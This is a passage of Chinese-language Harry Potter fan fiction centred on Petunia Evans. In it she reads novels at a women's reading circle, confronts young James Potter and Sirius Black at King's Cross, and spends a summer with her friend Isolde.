“噢孩子,你怎么一下全部都搬上来了,这书太重了,你可以分两次搬呀。”诺拉惊呼,佩妮一点都不想走两次诺拉的楼梯,她对诺拉说:“不,这一点儿也不重。”在诺拉狐疑的目光中,佩妮把两摞书放在地上,她脸不红,气不喘,诺拉上下打量了一下她:“我觉得你好像又长高了一点。”
佩妮其实不希望自己再长高了,她本来就不矮,如果再长高,她就真的成为长颈鹿了,但是她感觉自己的力气倒是变大了,以前她确实没有办法很轻松的把诺拉的这些书一次搬运上来,从这几次开始,她每次一趟搬运两摞书的时候,都觉得十分轻松。
抱着这些书,她感到安心。
“好吧,请帮我把这些书放到货架上,你就可以去二楼看书了。”
佩妮跑到二楼,房间窗户大打开,阳光洒进来,索菲就抱着书,坐在窗边低头看着。
“嘿,索菲。”
索菲对佩妮露出一个笑容,然后低头继续看着手上的书。
佩妮看清楚了,是那本《冬日烈火》,她惊呼:“诺拉不是不建议我们看这个吗?”
索菲抬起头:“你不必事事都听她的呀,而且她只是不建议,又不是不允许。我说,你要不要看一下,真的很好看,我已经看了两遍了。”她把那本还带有余温的书塞进了佩妮的手中,去翻阅其他的书去了。
佩妮坐到索菲身边,犹豫
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着翻开了那本《冬日烈火》*。
小说一开始就是一名漂亮的女子被尾随,她要被抓住了。“昏暗的灯光,逼仄的街道,逼近的夺命的脚步声……”佩妮有一些害怕,她抬头看着索菲。
索菲被她的表情逗笑了,对她说:“你这个胆小鬼,你大胆往后面看,我在你旁边呢。”
佩妮感受着身边传来的索菲的温度,犹豫着继续读了下去:“在她快要被那个男人抓住的时候,男人背后响起了一个小男孩的声音“你要对她做什么?””
“男人回头看是一个小男孩,嘴角露出不屑的微笑:“这与你无关,我劝你立刻离开,否则我会连你一起处理掉。”男人转过头抓住了女人的脖子,他想要伤害她。”
“在女人惊恐的视线中,那个男孩迈着决绝的大步走了过去,举起剑,技巧娴熟地朝男人的背部砍了过去。”
那个举剑的小男孩事实上是“布伦南小姐”,她才是这个故事真正的女主人公。
她有一把剑。
佩妮瞪大了她的眼睛。
“是不是非常有意思,”索菲在旁边说,“这个女主角可真是太吸引人了,她一开始出现就是一个小男孩,她是那么的叛逆,看起来非常不羁,我们应该早点看这本书的。”
晚上回到家,躺在床上的时候,伊索尔德的信放在她的旁边,她举起右手,在虚空中摸索,她想象自己是布伦南小姐。
“布伦南坐在她的大床中间,像对待珍宝一样细细地擦拭着她的剑,这是她父亲在她10岁生日时送给她的礼物。”
佩妮右手在虚空中半握着。
“布伦南小姐把剑举起来,剑光反射出她的脸,她始终觉得自己的这张脸太过于柔和,她闭上了眼,再睁开,眼睛里的迷茫已经被坚定所取代,她把剑挥了下去。”
佩妮的右手挥了下去。
“剑划破了虚空,发出了一声清脆的鸣响。”
佩妮感觉到自己的手打到了什么东西,是伊索尔德的那封信,她把信举起来,放在眼前。
这篇小说写的太好了,佩妮想,这样优美的文笔,丰满的人物,为什么不是来源于自己的笔下呢?她心中产生一种失落感。
但是想象着布伦南小姐抚摸宝剑的那段场景,一种不知名的力量突然充斥了她的全身。
佩妮翻身坐起来,重新坐到了书桌前,她渴望。
渴望什么?
佩妮自己也不知道。
但是她渴望。
28.chapter27
“诺拉,再见。”佩妮帮诺拉从地下室把最后一箱装满词典的木箱搬了出来,然后踮起脚把厚重的百科全书塞进了书架的最高层,最近她感觉做这些事情越来越轻松,跟书相处总是令人愉悦的,处理完这些事情后,她挥别诺拉。
灰与榆的小说世界瑰丽绚烂,剧情跌宕起伏,这些书的句词并不复杂,像小鸟一样钻进了她的脑子里,直到在阿加莎女士的写作课上,那些小鸟又飞了出来。佩妮第一个答出了阿加莎女士写在黑板上的单词的意思,阿加莎女士漆黑的眼珠转了过来。
教室里很安静,佩妮觉得自己刚刚回答的声音太过于响亮,在这样的环境里,她低下了自己的头。
阿加莎女士的声音在她的头上响起:
“噢伊万斯小姐,做得很不错,从行文来说,她课堂上的描写段落是你们当中错误最少的,无论从单词的拼写还是句式的结构来说。”
佩妮不自觉挺起了自己的背。
“但是我们只是在描述一个普通的花瓶,伊万斯小姐,这种花瓶你家也有,”阿加莎女士靠近她,低声说:“你只需要实用一些,客观一些。你用的那些词汇,我以为你在描述一件博物馆珍藏的中世纪遗物。我建议你可以少用一些华而不实的词汇,这些文章里他们用不上。”
教室里响起一阵细微的喧笑声。
佩妮抱着书包匆匆跑回学校,天色已经有一些暗下来,她骑车骑到一半才想起自己把针线包漏在了书桌里,她看了一眼天色,还不算晚,心中暗自祈祷教室不要这么快锁门。
学校里已经几乎看不见人影了,草坪里落满了麻雀,佩妮匆匆跑上楼,在校工要给教室上锁之前,冲进去找到了自己的东西。
“再晚一点可就来不及了,伊万斯小姐,快点回家吧,你们这些孩子,老是耽误我打扫卫生,我要赶紧下班了。”佩妮听见钥匙在门栓里转动的声音,校工粗暴地推了推门,检查是否上好锁。
佩妮对校工点了点头,像来时那样,抱着书包沿原路匆匆跑下楼。
在楼梯的拐角处,她看到了索菲和阿加莎女士。
她迅速把自己藏进楼道的阴影里
有时候在灰与榆,佩妮看见索菲手上拿着跟她一样的课后作业,但是她极少在学校里面看见索菲。
佩妮从阴影里屏住呼吸,小心地探出一点头来。
阿加莎女士背对着佩妮,佩妮只能看见她高大的,沉默的黑色背影,看不清她的表情,但她看见索菲头上的那个红色发卡,在阿加莎女士手里转动着。
索菲就在她的对面站着,阿加莎女士高大的声音笼罩着索菲,但是索菲看起来好像一点都不害怕,她抬起她那张漂亮的脸蛋,直视着阿加莎女士。
沉默在她们两个人之间流转。
索菲动了,她举起她的书包,把里面所有的东西都倾倒了出来,课本、练习本、便签、钢笔、上家政课需要的针线包统统滚了出来,没有固定好的信纸洋洋洒洒地飘出来,落到地上。墨水瓶从包里掉出来,摔在地板上,发出一声脆响,溅起的墨水给索菲白色袜子上撒上了星星点点的痕迹。
索菲抖了抖她的包,确定什么都抖不出来后,她把包彻底翻过来,将底递给阿加莎女士看:“没了。”
阿加莎女士没有动。
索菲把包扔在了地上,抬起头,看着阿加莎女士露出了一个璀璨的微笑,她的五官本来就长得十分好看,这一笑使她看起来仿若一朵绽放的玫瑰:“里面什么也没有,你满意了吗?”
佩妮大气也不敢喘。
索菲背着手,右腿往后撤了一小步,朝阿加莎女士浅浅鞠了一个躬,栗红色的头发垂在她的肩上,她抬起来,脸上还挂着那种笑容,深深看了阿加莎女士一眼,转过身就走了。
她的包也没有要。
佩妮看到阿加莎女士在原地站了很久,她不动,佩妮也不敢动。然后阿加莎女士很缓慢地弯下腰去,拾起索菲扔下的书包,一点一点把她扔下的东西收拾了回去,她把信纸一张一张整理好对整齐,重新放回了索菲的书包里。
“我觉得……嗯……索菲……你”佩妮盯着又回到索菲头上的那个红色发夹,“我觉得阿加莎女士她……”
索菲从书本里抬起头盯着她:“你不要什么都听她的。”
索菲栗红色的头发衬得她的脸十分苍白,但是棕色的眼睛里又是熠熠的神采,她今天穿着长袖高领,袖子直接拉到了手掌的位置,捧在书本的边缘,只露出她细长的指尖。她盯着佩妮继续说:“她又不是你的妈妈,有时候你都不能保证你妈妈就是对的,你妈妈一定为你好对不对。”
佩妮一下子卡壳了。
索菲扬了一下嘴角:“大家都不喜欢阿加莎女士,她给我们定下那么多的规矩,我们是人,又不是她手中的提线木偶,难道你觉得她说的话都正确吗?”
佩妮摇了摇头。
索菲笑起来:“冬日烈火好看吗?”
佩妮一下想起了布伦南的那把剑,她点头。
索菲看起来更高兴了:“我真的超级喜欢布伦南,她带着她的剑,从那个古板又无趣的家里逃了出来,她脱下了她的长裙,穿上了裤子,剪去了长发,变成了一个小男孩,她要去寻找她的父亲。”
这是佩妮最喜欢的部分,她支持索菲。
“然后她遇到了费特南先生。”索菲的脸上泛起了红晕,“你喜欢费特南先生吗?佩妮?”
一想到男主人公,佩妮的脸上泛起了跟索菲一样的红晕。索菲说:“目前为止我最最喜欢的男人出现了。”
噢不是的,这只是你最喜欢的男人之一,第九个,佩妮在心里默默补充,在这之前你已经有八个最喜欢的男人了,只要等到下一本好书出来,你就会有第十个最喜欢的男人。但她没有把这句话
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说出来。
她同意索菲的看法,费特南先生确实是一个非常有魅力的男主。
他是一个身材高大,样貌英俊的男人,他也擅长使剑,虽然他刚出场的时候看起来是一个冷酷无情又沉默寡言的男人。他因为好奇布伦南小姐的佩剑接近她,却又屡次被布伦南小姐的机敏坏了好几次事,她的剑术令她刮目相看。但是终于有一次,在对峙中,绝对的力量面前,他击落了布伦南小姐的佩剑。
“他立马就认识到自己的弥天大错了。”索菲说,“因为他发现,眼前的这个小男孩是一个漂亮的小姐,她眼睛里闪烁着泪光,但她桀骜不羁的眼神彻底撼动了他的内心。”
“虽然一开始出场的时候,费特南先生看起来是那么的冷酷无情,但是他本质上是一个很温柔的人,他只是有着不为人知的惨痛的过往,布伦南小姐走进了他的内心,也只有她看见了费特南先生悲痛的过往,和裹在一层坚硬外表下的温柔的内心。”
“两颗真心相遇了。”
“他们现在一起携手对抗叛军了。布伦南小姐为了救他受了伤,她无论如何都没有办法把他一个人丢下。现在轮到费特南先生来无微不至呵护布伦南小姐的时候了,为他之前的粗鲁无知,付出代价,让我看看你看到哪里了?噢,你马上要看到费特南先生情不自禁想吻住布伦南小姐啦!”索菲扯过佩妮手中的书,翻看了一下佩妮目前的进度,然后欢快地告诉了佩妮书里即将发生的事情。
一想到可能发生的场景,佩妮立刻脸红心跳地合上了书。
屋门口的楼梯上传来女人们愉快交谈的声音。
索菲把佩妮手上的书扯过来,塞到书架,拉着佩妮坐到了窗户边:“嘿,你的反应也太大了一点,吹吹风,快把你脸上的红晕吹下去。”
她们推开门,穿堂风带来佛手柑混合柑橘的香味。
“嘿女士们,晚上好,我们的阅读之夜又要开始了。”
诺拉又要给她们带来新的书了。
佩妮跑去普尔佳的家,她敲门,低着头盯着自己的鞋尖,有一点紧张。
开门的是普尔佳,佩妮松了一口气。
普尔佳看了一眼佩妮,吃了一惊,但她立刻掩着房门,回头看了一眼屋里,一股草药的气息和孩子的哭上从里面传来,普尔佳脸上十分的不自然:“噢,佩妮,我很开心你来找我,你很久没有来了,但是嗯,现在我家可能有一点不太方便。”
“没关系,我不进去,我只是过来跟你说几句话的普尔佳。”佩妮从自己的身后拿出一本笔记本,递给普尔佳。
“这是?”普尔佳疑惑地接过这本笔记本。
佩妮有一些赧然:“普尔佳,如果你需要我的帮助的话,你可以随时来找我。另外,这是我,我给你写的一本小说,为你写的,里面有一些比较呃,神奇的设定,你有空可以看一下它,嗯,我专门为你写的。”
29.chapter28
又一个暑假到了,该去接莉莉回来了。
那辆红色的沃克斯豪尔发动机发出一阵轻微的顿挫,伊万斯先生低头看了一眼汽车的仪表盘,伸手关掉了空调和音响,从后视镜里看着佩妮:“亲爱的佩妮宝贝,我们去附近加一下油,你先进国王十字车站,把你妹妹带出来,我们车站门口见好吗?”
佩妮点点头下车,随着人流走进站台。
左手边一辆从剑桥开往伦敦的蒸汽列车正巧停下,从车上下来好些人,可以看见穿着宽口浅蓝条纹衬衫和阔腿裤的男士,还有穿着亚麻针织衫和荷叶边半身裙,头上带着墨镜的女士。
佩妮的右手边迎面向她走过来好几个有说有笑的家庭,从那近乎统一的复古长袍,还有推车上的猫头鹰来看,佩妮知道那就是所谓的巫师家庭。
她就站在中间,任凭两波人群从她身边经过。
他们真的看不见他们吗?佩妮在心里想。
他们也看不见佩妮。
佩妮的视线和左边的人群偶尔有交错,那个穿着墨绿色西装裙,年龄跟妈妈差不多大的女人对佩妮笑了一下。
但是右边的家庭没有看见佩妮,那几个穿着巫师袍的大人视线好几次扫过佩妮,都视她于无物,但是推车经过佩妮的时候,又把推车移开了一点,好像佩妮身上有什么脏东西一样。
佩妮穿过拥挤的人潮,往前走,然后看到了一个让她鲜血上涌的场景。
在一个石柱旁边,地上散落了一大堆的东西,有羊皮纸,羽毛笔,旧书本,破碎的墨水瓶还有撒落一地的墨水。莉莉蹲在地上捡着什么东西,她穿着妈妈给她买的绿色的裙子,碎裂的墨水瓶溅出来的墨水把她的白袜子弄得脏兮兮的。
莉莉把那个令人讨厌的小怪物挡在自己的身后。
麻烦精怎么到哪里都能惹上麻烦?
莉莉的前面站着两个穿着得体得显然跟环境有些格格不入的小男孩,他们得体的小马甲和西装长裤一看就是讨厌的巫师。他们就那么高高在上地站着,俯视着莉莉,小怪物在莉莉背后扯住她的衣角,莉莉抬起头看着那两个男生,表情看起来十分生气。那两个男生其中一个伸出脚,看起来要去踩莉莉要捡起来的书,另外一个甚至对着莉莉举起了他的手,他难道要打莉莉吗?
他们怎么可以这样,佩妮感觉到一股热血上涌。
她在原地深吸了几口气,快速走上前去,一手一个从后面紧紧拎住了这两个小混蛋的衣领,卡住了他们的脖子——他们身高才到佩妮的肩膀,他们怎么敢的?
“离我的妹妹远一点,你们这两个巫师小混蛋!”
在莉莉的惊呼声中,佩妮拎着这两个小混蛋的衣领,牢牢卡住了他们的脖子,在他们没有反应过来之前,将这两个小混蛋掼到了旁边的石柱墙上,然后一手一个,把他们的脸摁进了石缝里。
他们第一次挣扎竟然还没能成功。
他们怎么敢的。
感谢灰与榆,感谢诺拉,感谢地下室,感谢一箱子的词典,感谢一个学期的锻炼,她摁着这两个小混蛋,就好像摁着两只根本无力挣扎的飞蛾。
噢,其中一个小混蛋的眼镜还掉地上了——没碎。
“嘿,放手啊。”
莉莉扑过来抱住了佩妮的手:“佩妮,快松手。”
斯内普在后面发出一声很响亮的嘲笑声。
感受到手下两个小混蛋挣扎得越来越厉害,要脱离她的桎梏了。佩妮迅速收回了手,站到了莉莉的身边。
“嘿,你这个女人怎么这样。”那个眼镜被打掉的小男孩一边整理着自己的领子,一边在地上摸索着,旁边的那个小男孩脸色涨红,一边咳嗽一边把捡到的眼镜,塞到了他的手里。
那个戴眼镜的小男孩看着佩妮这个方向,右手在口袋里开始掏着什么。
“波特,你想干什么,我警告你,这里已经是国王十字车站了。”莉莉一下警觉地把佩妮拦到了身后,斯内普迅速站起来,右手也放在了口袋里,警惕地注视着他们。
另外那个不戴眼镜的小男孩摁住了他的肩膀,看起来有一些紧张:“嘿,詹姆,别冲动,我们已经出站了,这里是麻瓜的地方。”
那个叫詹姆的小男孩在众人警惕的眼神下,从口袋里掏出了一条淡蓝色的手巾,开始很用力地擦拭他的眼镜,声音听起来十分委屈:“你们怎么能这么想我!我当然知道这是国王十字车站,莉莉·伊万斯不相信我就算了,嘿西里斯,你是什么意思。”
“谁叫你有那么多前科呢,波特?”莉莉生气地说。
斯内普迅速地蹲下身,捡起散落一地的东西。
叫西里斯的小男孩讪讪地摸了摸他的鼻子,放开手,然后怒气汹汹地注视着佩妮:“你这个女人怎么回事,为什么要把我们……把我们摁到墙上去,你,你的力气怎么会这么大?”
他脸蛋上可以明显地看见几道石墙缝隙的痕迹,还有一些泥土。他很用力地擦拭自己的脸,不一会儿就把他英俊的脸蛋弄得红红的。
佩妮觉得他有一些眼熟。
旁边那个男孩好不容易把眼镜擦好了,架在自己的鼻梁上,他的脸上也是同样的痕迹和泥土:“你还把我的眼镜弄花了。”
她觉得这个也有点眼熟。
佩妮拨开莉莉走到前面去:“你们为什么要欺负莉莉?”
“我们?欺负莉莉·伊万斯?”那两个小男孩对视了一眼,然后露出了不可置信的表情。
“那你,为什么要对莉莉举起手,你不是要打他吗?”
“拜托,我是要拉她起来!”
“那你,你为什么要在莉莉捡书的时候,抬脚去踩她的书!”
“那不是莉莉的书。”说到那本书,那个英俊的小男孩表情立刻沉了下来,他绕过叫詹姆的小男孩,拿手指着斯内普,大叫:“莉莉,你知不知道他的书里写着什么东西,那是黑——”他看了一眼佩妮,改口“那是非常邪恶的东西,莉莉,斯莱特林就不是好人,他钻研这些东西迟早有一天会用在自己同学身上的。”
莉莉回头看着斯内普,斯内普的手提箱已经破了,没有办法再装这些东西,他抱着那些东西,脸色阴沉地站在那里,见到莉莉看过来的时候,他涨红了脸,像是有些哀求地说:“我没有,你上次发现了后,我就再也没有研究了,我保证,这些东西我怎么可能用在同学身上呢?”
“他说谎!莉莉!你是一个格兰芬多,你怎么可以相信斯莱特林呢?毒蛇的话,哪里值得相信?”那个英俊的小男孩眼睛里快喷出火焰来了。
斯内普看着他,嘴唇抖了抖,挤出一个像是嘲讽,又像是怜悯的古怪的笑:“噢,指望布莱克先生那点可怜的涵养学会尊重别人看来是不可能了,斯莱特林都是毒蛇?你忘记了你的爸爸妈妈?噢,确实,你爸爸妈妈不要你,哪里都没有人要你,你只能像一条丧家之犬到处乱吠。”
詹姆和西里斯卷起了衣袖,这回看起来真的要冲上来揍他了:“莉莉,你让开,不要挡着我们,斯内普,你难道打算一辈子都躲在莉莉的后面让女人替你出头吗?”
“够了,波特,难道不是你们先弄坏了他的箱子的吗?”莉莉根本不打算让开,那两个小男孩的手这会是真的快伸到莉莉的脸上了。
场面快要乱成一锅粥了。
佩妮默默卷起了自己的袖子。
“很抱歉有一些事情耽误了,但是詹姆,西里斯,你们在干什么呢?”一道有些苍老又十分温柔的声音响起来,佩妮看到了一对面容慈祥的巫师老夫妇。
说话的是其中那个女巫师,她温柔又严厉地盯着那两个小孩,在这样的注视下,他们忿忿不平地站住了。
“这是你的杰作吗?詹姆?”那个年老的男巫师握着自己的拐杖,指了指斯内普烂掉的手提箱,和散落一地的墨水。
“呃,爸爸妈妈你们听我解释。”詹姆推了推自己的眼镜十分不自然地说。
佩妮一下子就想起了这个小男孩,这是莉莉第一次上学的时
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候,教她穿过石墙的那个小男生,还有年纪足以做他爷爷奶奶的爸爸妈妈。
“很抱歉,这位……先生?”那个老年男巫对斯内普说。
“斯内普。”斯内普的声音听起来硬梆梆的。
“噢很抱歉斯内普先生,詹姆,过来道歉。”那个年老的男巫师有些严厉地说,用他的拐杖点了点斯内普的手提箱和墨水瓶,破损的手提箱,破碎的墨水瓶,一切损坏的东西就立刻修复如新了,甚至连地上的墨水,噢,竟然还包括莉莉白袜子上的墨水点,都飞回了修好的墨水瓶里。
这是佩妮第一次看到完整的魔法在她眼前实现的场景,她努力控制,不让自己泄露任何一丝有所她形象和自尊的表情。
詹姆看起来宁愿从铁轨上跳下去都不愿跟斯内普道歉,但是斯内普根本没有给他说话的机会,只是冷冷地看了他们一眼,提着修好的手提箱走了。
一个穿着黑色长袍,面容和斯内普有六成相似的女人出现在另外一个石柱后面,她的领子直接竖到了下巴上,疲惫的眼神沉默地注视着这一切,她看起来既不想说话,也不想现身管这些事情,斯内普走到她身边,他们两个绕到石柱后,就不见了。
“詹姆,西里斯,过来跟这两位美丽的小姐道歉,你们的拳头刚刚真的差点挥到了她们的脸上。”那个温柔的老年女巫师说。
头发乱糟糟带眼镜的男孩子跑到莉莉的面前,很干脆地说:“莉莉,对不起。”
莉莉哼了一下,转过脸不去看詹姆。
西里斯大叫起来,指着自己的脸:“对莉莉道歉就算了,为什么还要对这个女孩道歉啊,她刚刚,她刚刚把我和詹姆都挥到了墙上,还把我们的脸摁在了上面!她的力气好大,我的脸到现在还是痛的。”
仔细打量着他的五官,佩妮突然一下子就想起来他是谁了,他是那次在车站对佩妮说“请”,还对她点头的那个男孩。
“对不起,我叫佩妮·伊万斯”佩妮盯着他半晌,在他愤愤不平的眼光里,突然说。
那个小男孩顿时像被什么东西掐住了脖子一样,脸涨的通红,吞吐了好久,才结结巴巴挤出一句:“对不起,我叫西里斯·布莱克”。
佩妮移开了视线,对那个叫詹姆的男孩道了歉,成功把他也消音了,换来了一句对不起,以及他的尊姓大名。
“竟然还让女生主动来说道歉,这也太不绅士了。被这样的女孩子掼到墙上,也许你们该好好反思一下自己。”那个女巫师走上前,对佩妮眨了眨,摸了摸她的头发:“金色的头发,真好看。”
“我们年龄确实有些大了,对他们的管教或许有一些松懈,但这并不是他们行事如此粗鲁的理由,我们也要说一声抱歉,这是给两位淑女的小礼物。”
一朵蓝色的玫瑰和一朵红色的玫瑰在那个老年男巫师的拐杖头绽开来,他把红玫瑰别在了莉莉的发间,把蓝玫瑰别在了佩妮的发间:“可惜魔法并不是万能,这只是变出来的玫瑰,并不能永存,请在她消逝之前尽情欣赏她的绽放吧。”
佩妮呆呆地伸出手,抚摸自己的发间,她的手指触碰到了柔软的花瓣,鼻尖还闻到了一股玫瑰的芬芳,真实得令她不敢相信。
“莉莉,佩妮,噢原来你们在这里,你们怎么这么久还没有出来,吓坏我们了,”伊万斯夫妇匆匆跑过来,抱住莉莉和佩妮,“噢,你们头上的花可真漂亮。有没有说谢谢。”
那对年老的夫妇冲她们点点头,把詹姆牵到自己身边,礼貌地对伊万斯夫妇伸出手:“你们先走吧,请。”
佩妮拉着莉莉,牵着妈妈的手,转身离去,听见背后那个老妇人对西里斯说:“你要跟我们回家吗?西里斯,我们可以把你送回去。”
那个叫西里斯的男孩声音一下低落了下来:“不了,我看到克利切了,我该走了,再见波特先生,波特太太,回见詹姆。”
一声啪的响声,佩妮回头,站台上已经空空如也了。
她摸了摸头上,那朵花还在。
30.chapter29
回到家之后,佩妮把头上的那朵蓝色的玫瑰花取下来。
“请在她消逝之前尽情欣赏她的绽放吧”
佩妮抚摸着蓝色玫瑰花柔软的花瓣,她是多么美,颜色像晴天的天空。她的触感是如此的真实,芬芳又是如此的清香,但佩妮清楚的知道,这只是一朵魔法变出来的玫瑰,她既不能永存,甚至连一朵真实的花都不是。
她会消逝。
佩妮把这朵花塞进了莉莉的怀里:“送给你了,随便你怎么处置。”
第二天佩妮起床洗漱的时候,发现那两朵玫瑰花被插在了玻璃瓶里,放在了洗漱间镜子的两侧,蓝色的在左边,红色的在右边。
她们是魔法变出来的花呀!
但是妈妈还是给她们浇了水,佩妮每天早上洗漱的时候,鼻子里每天萦绕着玫瑰的清香,花瓣上的水珠在清晨的阳光下将珍珠一样的光芒反射到佩妮的眼底。
她们在一个夜晚,在大家的睡梦中悄然地消逝,第二天佩妮跑去洗漱的时候,镜子前只剩下两个光秃秃的玻璃瓶了。
看吧,我就知道会这样。佩妮在心里说。
可是下午的时候,她推开洗漱间的门,又闻到了一股玫瑰的清香,她推开门进去,看见镜子两侧的玻璃瓶里重新插上了两朵开得绚烂无比的红色玫瑰花。
两朵真正的玫瑰花。
“噢,我现在觉得在厕所的镜子前插上玫瑰花这个主意可真棒,”妈妈说,“以后我每天都要买新鲜的玫瑰花放过来。”
“噢佩妮,8门期末考试,”莉莉拿着成绩单哀嚎,“西弗勒斯他拿了整整7个O。”
“O是什么意思?”佩妮问。
莉莉给佩妮详细解释了一下霍格沃茨的考试评价系统。
“O就是最好的那个成绩。”莉莉说,“他拿了整整7个O。”莉莉很用力地重申了一遍。
“剩下那门没有拿O的是什么,不会是魔法史吧?”
莉莉沉默了一下:“没有人能在魔法史上拿O的,佩妮,哦不对,除了拉文克劳。”
“嘿塞勒涅,把你的爪子从我的盘子里拿开,你去吃莉莉的。”佩妮愤怒地把盘子里塞勒涅的羽毛扔到莉莉的盘子里,端起了桌子上的红茶,她对谁能拿O这个话题一点兴趣都没有。
“可是你也考了6个O啊,莉莉。”妈妈端上来小饼干,“莉莉也已经很棒了。”“除了魔法史,剩下那门你没有拿O的是什么?”爸爸从报纸后面抬起头。
“天文学,我拿了一个A”莉莉嘟囔着,“西尼斯特教授让我们辨认北半球夏季的星座,我把天琴座认成了天鹅座。”
“西弗勒斯居然认出来,我以为他对这些一点兴趣也没有。大家不都是上一样的课吗?为什么他懂得就是比我们多一点?”
“你们有设置什么全O奖励金,二年级全O特别优秀学生奖之类的吗?”
莉莉茫然地回想了一下,摇了摇头。
想到那个刻薄的,又没有礼貌的小怪物,还有因为他的原因,暑假站台上的那道波折,佩妮咬着牙齿笑着说:“哼,以他那十分不讨喜的性格,成绩可能是他唯一拿得出手的东西了吧,他必须得要拿这么多O,才会有人高看他一眼。哦不对,可能他就算拿这么多O,以他那种性格,也不会有人看到他的。说不定这个时候他正在自己家里,为他因为魔法史没有拿O而失去的掌声和注视哀悼痛哭,鼻涕眼泪都要粘到他的羊皮信纸上了呢。”
“佩妮!他不是那样的。”
“噢佩妮宝贝,这可不是淑女该说的话。”
佩妮站起来准备上楼。
莉莉坐在她旁边拉住她:“明天我可以邀请你去图书馆继续一起写作业吗?去年我们待在一起,还看了书,我很开心。”
佩妮抽出自己的手:“不了,你去找你的朋友,我去找我的朋友。”
“好吧。”莉莉失望地抽回了手,但是她也没能去成图书馆,因为她魔法学校的一个叫做玛丽的小伙伴邀请她一起出去玩,莉莉只在家短暂地呆了几天,就带上她的箱子像一直快乐的小鸟飞奔出了家门。
看吧,佩妮看着她的身影,谁抛弃谁还真说不定呢。
但是伊索尔德回来了。
紫藤路17号。
奶油蛋糕被阳光镀上了一层淡淡的金色。
埃莉诺推着割草机从草坪里走过来,抬起手向她打招呼:“嗨,佩妮。”
埃莉诺又穿着那件白色背心,露出两条结实的胳臂,她看起来更黑了一点。
“嘿花瓣小姐。”伊索尔德推开门,穿着一身雏菊色的连身裙,金发乖顺地编成了两股小辫子垂在胸前,她看起来长高了——但是肯定还是自己高一点,佩妮自信地想。
这两年的时间,她和伊索尔德仅凭书信联系,佩妮捏住了自己的裙角,她既雀跃,又紧张,她看着伊索尔德,笑了一下。
下一秒伊索尔德就从台阶上奔下来,几步就跨到了她的面前,抱住了佩妮。
“我真的超级想你的,佩妮。”
好吧,现在什么也不用说了,佩妮抬起手,回抱伊索尔德,闭上眼睛,静静感受着她的头发里太阳的气息。
她和伊索尔德度过了一个快乐的暑假。
佩妮把伊索尔德带去了灰与榆。
诺拉再次发出了尖叫:“佩妮,你已经够小了,你为什么又带了一个更小的孩子过来。”
“不,”伊索尔德推了推她的眼镜,有些腼腆地说:“事实上,我马上就要中学毕业了。”
“噢好吧。”
伊索尔德获得了灰与榆的一致喜爱,她的话语总是有一种直击人心的精准,但是配上她说话温柔的语气,这份精准的直觉反而并不令人讨厌。
“对对,就是那个意思,小伊索把我心里的话都说出来了。”
“你总是能用准确的语言说出我心里的话。”
“我猜,这份能力可能遗传自我的母亲,”伊索尔德笑着说,“她是一名心理学家,我现在在温德米尔女子学校就读,我的目标是考上大学,然后也成为一名心理学家。”
女人们倒吸了一口气。
“这可是一个宏伟的目标,这对我们女人来说可不容易。”
“我以前也想继续上学来着,但是后来他向我求婚了。”
“然后丹尼尔出生了,我们过了一段经济拮据的日子,万幸,他们对我很好,我感觉到很幸福。”
“我知道温德米尔女子学院,它在切尔腾纳姆是不是,这是一所很好的女子学院,小伊索我可真羡慕你。”
这是我的朋友,佩妮骄傲地想。
最重要的是,伊索尔德获得了诺拉这里无限制阅读的权利。
“这是一个神奇的世界,比魔法世界更不遑多让。”伊索尔德翻开书对佩妮说。
她们一头扎了进去。
“我说,你们不能再看那玩意儿了。”埃莉诺走上来,她套了一件皮夹克,里面穿着那件白色背心,下身穿了一条紧身皮裤,左手拿了一个头盔,“走,我带你们玩去。”
伊索尔德看见埃莉诺,眼睛一下就亮了,她迅速放下手中的书本,拉着佩妮下楼:“走,我们去兜风。”
兜风?
佩妮疑惑地跟着伊索尔德下了楼,窗外彩霞把天空镀成了暗粉色。
一辆巨大的摩托车就静静地停在门口。车身线条硬朗,油箱高耸,表面喷着深灰色的油漆,侧面用金色手写体印着“E.T”字样。发动机裸露在机身外面,双排气管弯曲地往上翘,就像一对獠牙,挑衅地看着她们。
跟佩妮印象里的那台摩托车又不太一样了。
“诺mando 750型,埃莉诺亲自改良版本,最大的油箱和最强的发动机,小姐们,请坐上这匹“飞马”,我们要起飞了。”
“不是,这……”佩妮呆呆地看着这辆摩托车,怀里被埃莉诺塞了一个头盔,伊索尔德已经在一边欢呼一边戴上了头盔,“等等,我穿的是裙子。”
“噢,佩妮,你可以穿我的裤子。”伊索尔德扣带子的手一顿,拉着佩妮上了楼。
伊索尔德在衣柜里翻了好几条裤子,可是佩妮比她高多了,好几条都不合适,最后只有一条黄色的灯芯绒裤尺寸合适。佩妮看着镜子里的自己,她上身穿着搭配裙子的碎花雪纺娃娃领衬衫,套上这条灯芯绒裤的时候就像误穿了工装的玩偶,她被镜子里的奇装异服给逗笑了:“这不合适,伊索尔德。”
伊索尔德看着佩妮的装束,托着下巴陷入了沉思。
但是这个时候窗外传来摩托车发动机轰鸣的几声响声,埃莉诺响亮的声音从窗外飘了进来:“你们好了吗?小姐们,我们
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是去骑车,不是去走秀。”
伊索尔德迅速地给自己换上了一条夸张的阔腿裤,这使她看起来像个灯笼,她拉着佩妮说:“现在我们一样了,别管了,没有人会看到我们的,走吧。”
佩妮暗自在心里祈祷,这幅模样可不要被人看到。
她坐上那台飞马,冰冷机身和坚硬座椅的陌生质感让她的心突突地跳。她犹豫着戴好头盔,坐在埃莉诺怀里,伊索尔德坐在埃莉诺的背后。
发动机发出一声轰鸣,佩妮情不自禁抖起来,她从来没有坐过摩托车,她在心里尖叫,我们会把脖子摔断的。
“我们要出发了。”
没有给佩妮任何反悔的机会,獠牙发出一声咆哮,摩托车就发动了,她发出一声尖叫,往后一倒,后背撞到了埃莉诺的胸膛,她听见埃莉诺说:“别发抖,我不会把你摔下去的。”
但是佩妮根本控制不住,风从她耳边呼呼地刮过,带出尖锐的鸣啸。
根本不用担心有人认出她,因为埃莉诺速度太快了,她完全看不清倒退的景物,埃莉诺用极快的速度穿过几条狭窄的街道,拐过一个弯,几个眨眼间就出了城镇。
“能不能慢一点,这太快了!”佩妮尖叫起来。摩托车的速度太快了,拐弯的时候埃莉诺一点速度都不减,发动机鸣叫着,车身一会儿向□□斜,一会儿又向□□斜,佩妮觉得自己就像一只风筝,被一根脆弱得仿佛随时会断的丝线连在这辆摩托车上,我会摔下去的,我会摔死的,佩妮在心里大叫。
后悔,太后悔了,她绝不应该如此草率地答应她们,坐上这辆飞马,她张嘴想说什么,冷风灌进了她的嘴巴,她不得不又因此闭上嘴。
但是埃莉诺把她牢牢地圈在怀里。
